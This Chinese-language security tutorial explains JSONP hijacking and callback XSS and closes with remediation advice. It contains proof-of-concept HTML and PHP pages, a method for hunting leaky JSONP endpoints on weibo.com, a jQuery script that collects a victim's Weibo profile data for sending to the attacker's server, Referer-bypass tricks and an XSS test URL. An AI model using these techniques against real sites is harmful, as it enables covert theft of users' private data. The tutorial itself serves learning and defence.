0x01 关于 JSONP
JSONP 全称是 JSON with Padding ,基于 JSON 格式的为解决跨域请求资源而产生的解决方案。
由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同的(域名、协议、端口)的资源,而对请求script资源没有限制。
原理: 客户端通过请求script标签发出跨域请求,然后服务端输出JSON数据并且执行回调函数,这种跨域的数据输出方式称为JSONP。
简单原理说明: 使用了 <script></script>、<iframe>
元素标签远程调用JSON文件来实现数据传递。
原生JS实现JSONP的步骤
客户端
- 定义获取数据后调用的回调函数
- 动态生成对服务端JS进行引用的代码
- 设置url为提供jsonp服务的url地址,并在该url中设置相关callback参数
- 创建script标签,并设置其src属性
- 把script标签加入head,此时调用开始。
服务端
将客户端发送的callback参数作为函数名来包裹住JSON数据,返回数据至客户端。
0x02 可造成的危害
- JSONP 数据劫持, jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据。
- callback 无过滤导致的xss
如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数
0x03 JSONP漏洞利用过程
1)用户在网站B 注册并登录,网站B 包含了用户的id,name,email等信息;
2)用户通过浏览器向网站A发出URL请求;
3)网站A向用户返回响应页面,响应页面中注册了JavaScript的回调函数和向网站B请求的script标签,示例代码如下:
<script type="text/javascript">
function Callback(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
4)用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求;
5)网站B接收到请求后,解析请求的URL,以JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:
Callback({"id":1,"name":"test","email":"test@test.com"})。
6)网站B数据返回后,浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理,通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。
0x04 JSONP 劫持示例
# 服务器请求地址: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'Avenue-le','email' => '33xxx3@qq.com');
$json = json_encode($data);
echo $callback."(".$json.")";
# 客户端请求地址: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp</title>
</head>
<body>
jsonp劫持测试
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
0X05 JSONP 漏洞的挖掘思路
这里我采用chrome浏览器的调试窗口进行挖掘weibo.com中存在的漏洞(测试之前需要登录一下,因为我们需要检测是不是会有敏感信息泄露)
首先把Preserve log选项勾上,这样用来防止页面刷新跳转的时候访问记录被重置,也方便我们进行下一步的筛选。
此处输入图片的描述
然后 F5 刷新,进入 NetWork 标签 ,CTRL+F 查找一些关键词 如 callback json jsonp email
此处输入图片的描述
此处输入图片的描述
然后我们需要人工确认这个请求的返回值是否有泄露用户的敏感信息,并且能被不同的域的页面去请求获取,这里以上面查找到的 jsonp 为例
此处输入图片的描述
发现并不是什么很有价值的信息,再来看看能不能被不同的域的页面请求到(也就是测试一下服务器端有没有对其验证请求来源)
此处输入图片的描述
发现换成了别的浏览器还是能检测到,说明验证的来源有些问题
注意: 上面的测试只是我为了简单的演示整个流程,所以在测试前我并没有登录,因此,上面的测试并不能说明漏洞存在
当然,这种人工的低效的检测方式我们完全可以将其变成主动或者被动的扫描器实现,那样效率会高得多
自动化测试工具Selenium + Proxy + 验证脚本
(1)Selenium:可用于自动化对网页进行测试,“到处”点击按钮、超链接,以期待测试更多的接口;
(2)Proxy:用于代理所有的请求,过滤出所有包含敏感信息的JSONP请求,并记录下HTTP请求;
(3)验证脚本:使用上述的HTTP请求,剔除referer字段,再次发出请求,测试返回结果中,是否仍包敏感信息,如果有敏感信息,说明这个接口就是我们要找的!
0X06 JSONP 漏洞利用技巧
1.利用技巧
JSONP 漏洞主要被攻击者用来在受害者不知不觉中窃取他们的隐私数据,常常被一些 APT 组织采用进行信息收集和钓鱼的工作(水坑攻击),下面的一个例子就可以说是在模拟水坑攻击
当我们发现信息泄露的 jsonp 接口以后我们要做的就是在自己的网站上写一个脚本,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会想这个接口请求用户的敏感数据,并传送到攻击者的服务器上
$.ajax({
url: 'https://api.weibo.com/2/{隐藏了哦}',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json["data"]["id"];
var screen_name = json["data"]["screen_name"];
var profile_image_url = json["data"]["profile_image_url"];
var post_data = "";
post_data += "id=" + id + "&";
post_data += "screen_name=" + screen_name + "&";
post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);
console.log(post_data);
// 发送到我的服务器上
}).fail(function() {});
0x07 JSONP 劫持绕过方法
0x07.1 Referer 过滤(正则)不严谨
例如: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback 输出数据时,验证了 Referer
但是可惜验证的时候只验证了 Referer 中是否存在 aphp.test 这个关键词
那么攻击者可以构造url:http://127.0.0.1/aphp.test.html 或是 http://127.0.0.1/attack.htm?aphp.test
构造这样的url来发起攻击实现绕过 Referer 防御
0x07.2 空 Referer 绕过
有时开发者过滤时会允许 Referer 来源为空,因为一般情况下浏览器直接访问某个 URL 是不带 Referer 的,所以我们有时可利用这个特点来进行绕过
# 利用 <meta> 标签实现空 Referer
<!DOCTYPE html>
<html lang='en'>
<head>
<meta name="referrer" content="never" charset="utf-8">
<title>jsonp 不带Referer</title>
</head>
<body>
jsonp 不带Referer 劫持测试
</body>
<script>
function jsonCallback(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
# 利用 <iframe> 标签调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp 不带Referer</title>
</head>
<body>
jsonp 不带Referer 劫持测试
</body>
<iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>
0x08 Callback 可定义导致的安全问题
一般开发为了前端可以方便调用,一般输出的Callback都是可自定义的,这就导致了,如果过滤不严格,或是 Content-Type 没设置好就可能导致xss
注意: 严格来说如果输出的数据也是攻击者可控,那么也是可能造成危害的,只是本文强调了 Callback 这个输出点
如下测试一段代码
<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
$callback = 'callback';
}
$data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
$json = json_encode($data);
echo $callback."(".$json.")";
打开url: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback;%3C/script%3E)
0x09 JSONP 修复方法
- 验证 HTTP Referer 头信息
- 在请求中添加 csrfToken 并在后端进行验证
- 按照 JSON 格式标准输出, Content-Type 设置为(Content-Type : application/json; charset=utf-8)
- 严格过滤 callback 函数名及 JSON 里数据的输出(防止xss)